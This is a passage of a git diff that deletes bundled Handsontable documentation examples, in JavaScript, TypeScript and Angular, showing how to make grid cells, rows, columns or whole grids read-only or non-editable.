    `,\n})\nexport class AppComponent {\n readonly data = [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ];\n\n readonly gridSettings: GridSettings = {\n readOnly: true,\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-features/read-only-cells/angular/exampleReadOnlyGrid.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example1.js.json deleted file mode 100644 index bc14ad3d..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example1.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Standard example · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example1');\nconst dimmedTextRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.opacity = '0.6';\n};\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n readOnly: true,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example1.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example1.ts.json deleted file mode 100644 index 0fa4c496..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example1.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Standard example · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example1')!;\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n readOnly: true,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n },\n {\n data: 'chassis',\n },\n {\n data: 'bumper',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example1.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example1","exampleTitle":"Standard example","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example2.js.json deleted file mode 100644 index 0b1cf2c1..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example2.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, col) {\n return hot.getData()[row][col] === 'Nissan' ? { readOnly: true } : {};\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example2.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example2.ts.json deleted file mode 100644 index aa9edf08..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example2.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make specific cells read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example2')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, col) {\n return hot.getData()[row][col] === 'Nissan' ? { readOnly: true } : {};\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example2.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example2","exampleTitle":"Make specific cells read-only","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example3.js.json deleted file mode 100644 index 19613fac..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example3.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example3');\nconst dimmedTextRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n td.style.opacity = '0.6';\n};\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n editor: false,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example3.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example3.ts.json deleted file mode 100644 index 1434adda..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example3.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make a column non-editable · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\nimport { BaseRenderer } from 'handsontable/renderers';\nimport { textRenderer } from 'handsontable/renderers/textRenderer';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nconst dimmedTextRenderer: BaseRenderer = (instance, td, ...rest) => {\n textRenderer(instance, td, ...rest);\n\n td.style.opacity = '0.6';\n};\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n columns: [\n {\n data: 'car',\n editor: false,\n renderer: dimmedTextRenderer,\n },\n {\n data: 'year',\n editor: 'numeric',\n },\n {\n data: 'chassis',\n editor: 'text',\n },\n {\n data: 'bumper',\n editor: 'text',\n },\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example3.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example3","exampleTitle":"Make a column non-editable","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example4.js.json deleted file mode 100644 index 629030bb..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example4.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, _col, prop) {\n return hot.getDataAtRowProp(row, prop) === 'Nissan' ? { editor: false } : { editor: 'text' };\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example4.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example4.ts.json deleted file mode 100644 index b08f0bc6..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example4.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make specific cells non-editable · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example4')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row, _col, prop) {\n return hot.getDataAtRowProp(row, prop as string) === 'Nissan' ? { editor: false } : { editor: 'text' };\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example4.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example4","exampleTitle":"Make specific cells non-editable","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example5.js.json deleted file mode 100644 index 321b293c..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example5.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n// Register all Handsontable's modules.\nregisterAllModules();\nconst container = document.querySelector('#example5');\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\nhot.updateSettings({\n cells(row) {\n return row === 1 ? { readOnly: true } : {};\n },\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example5.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example5.ts.json deleted file mode 100644 index 00664736..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__example5.ts.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"typescript","displayName":"Cell Features ▸ Read-only cells · Make a row read-only · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example5')!;\n\nconst hot = new Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n height: 'auto',\n autoWrapRow: true,\n autoWrapCol: true,\n licenseKey: 'non-commercial-and-evaluation',\n});\n\nhot.updateSettings({\n cells(row) {\n return row === 1 ? { readOnly: true } : {};\n },\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/example5.ts","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"example5","exampleTitle":"Make a row read-only","docPermalink":"/read-only-cells","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json b/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json deleted file mode 100644 index 3d16a2ed..00000000 --- a/runner/apps/authoring/public/docs-examples/guides__cell-features__read-only-cells__javascript__exampleReadOnlyGrid.js.json +++ /dev/null @@ -1 +0,0 @@ -{"framework":"javascript","displayName":"Cell Features ▸ Read-only cells · Make the grid read-only · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
    \n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#exampleReadOnlyGrid');\n\nnew Handsontable(container, {\n data: [\n { car: 'Tesla', year: 2017, chassis: 'black', bumper: 'black' },\n { car: 'Nissan', year: 2018, chassis: 'blue', bumper: 'blue' },\n { car: 'Chrysler', year: 2019, chassis: 'yellow', bumper: 'black' },\n { car: 'Volvo', year: 2020, chassis: 'white', bumper: 'gray' },\n ],\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n licenseKey: 'non-commercial-and-evaluation',\n // make the entire grid read-only\n readOnly: true,\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-features/read-only-cells/javascript/exampleReadOnlyGrid.js","breadcrumb":["Cell Features","Read-only cells"],"guide":"guides/cell-features/read-only-cells/read-only-cells.md","guideTitle":"Read-only cells","exampleId":"exampleReadOnlyGrid","exampleTitle":"Make the grid read-only","docPermalink":"/read-only-cells","lang":"JavaScript"} diff --git 